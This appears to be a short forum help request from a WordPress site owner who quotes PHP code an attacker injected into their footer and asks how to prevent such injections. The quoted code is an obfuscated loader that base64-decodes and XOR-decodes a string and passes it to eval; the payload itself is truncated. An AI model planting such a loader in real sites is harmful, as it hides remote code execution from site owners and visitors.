My wordpress installation has been attacked and the hacker has injected php code into my footer.
Here is the code :
<?php /* 5pJQhrPh3XJCUOiaQCa6 */ ?><?php
$encoded = "ch0KCh...";
$raw = base64_decode($encoded);
$res = '';
for ($i = 0; $i < strlen($raw); $i++) {
$res .= chr(ord($raw[$i]) ^ ord('x'));
}
eval($res)
?>
<?php /* uqjsQSyWVhmOHAEVa1i6 */ ?>
I would like to know the solution to prevent these kind of injection? I am running the latest version of wordpress.